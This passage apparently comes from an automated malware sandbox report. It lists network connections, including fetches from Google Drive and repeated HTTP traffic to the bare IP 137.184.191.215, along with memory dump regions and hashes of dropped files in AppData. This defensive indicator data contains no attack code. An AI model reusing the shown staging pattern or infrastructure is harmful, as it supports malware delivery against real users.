| US | 8.8.8.8:53 | 110.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 225.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.191.184.137.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | tcp | |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
Files
memory/1328-2-0x00007FFDDA093000-0x00007FFDDA095000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clse1n1r.bbq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1328-12-0x000001B5EC520000-0x000001B5EC542000-memory.dmp
memory/1328-13-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp
memory/1328-14-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp
memory/1328-16-0x00007FFDDA093000-0x00007FFDDA095000-memory.dmp
memory/1328-17-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp
memory/2604-19-0x0000000003000000-0x0000000003036000-memory.dmp
memory/2604-20-0x0000000005BD0000-0x00000000061F8000-memory.dmp
memory/2604-21-0x0000000005A50000-0x0000000005A72000-memory.dmp
memory/2604-22-0x0000000005AF0000-0x0000000005B56000-memory.dmp
memory/2604-23-0x0000000006200000-0x0000000006266000-memory.dmp
memory/2604-33-0x0000000006330000-0x0000000006684000-memory.dmp
memory/2604-34-0x0000000006930000-0x000000000694E000-memory.dmp
memory/2604-35-0x0000000006960000-0x00000000069AC000-memory.dmp
memory/2604-36-0x00000000082C0000-0x000000000893A000-memory.dmp
memory/2604-37-0x0000000006EA0000-0x0000000006EBA000-memory.dmp
memory/2604-38-0x0000000007C40000-0x0000000007CD6000-memory.dmp
memory/2604-39-0x0000000007B40000-0x0000000007B62000-memory.dmp
memory/2604-40-0x0000000008940000-0x0000000008EE4000-memory.dmp
C:\Users\Admin\AppData\Roaming\Sjaelelivets.Son
| MD5 | d952477f892ae0e25f9facc609554a0d |
| SHA1 | 617591cade5b3efd2906e8ce468e7cf7d88f7539 |
| SHA256 | f36ff78fac53b01ed65ec3678ee315acb92a630521c94da29a3cc57fe61520ba |
| SHA512 | 2f755f0c4e8bab2310b3573ea0c84a18cf1baed9e37af96105b59648bf7639506bd5323b225f22e9d871bac2bd54837ec37b04d714d373106b1575f261d671d8 |
memory/2604-42-0x0000000008EF0000-0x000000000C612000-memory.dmp
memory/3788-44-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3788-57-0x0000000000900000-0x0000000004022000-memory.dmp
memory/1328-60-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |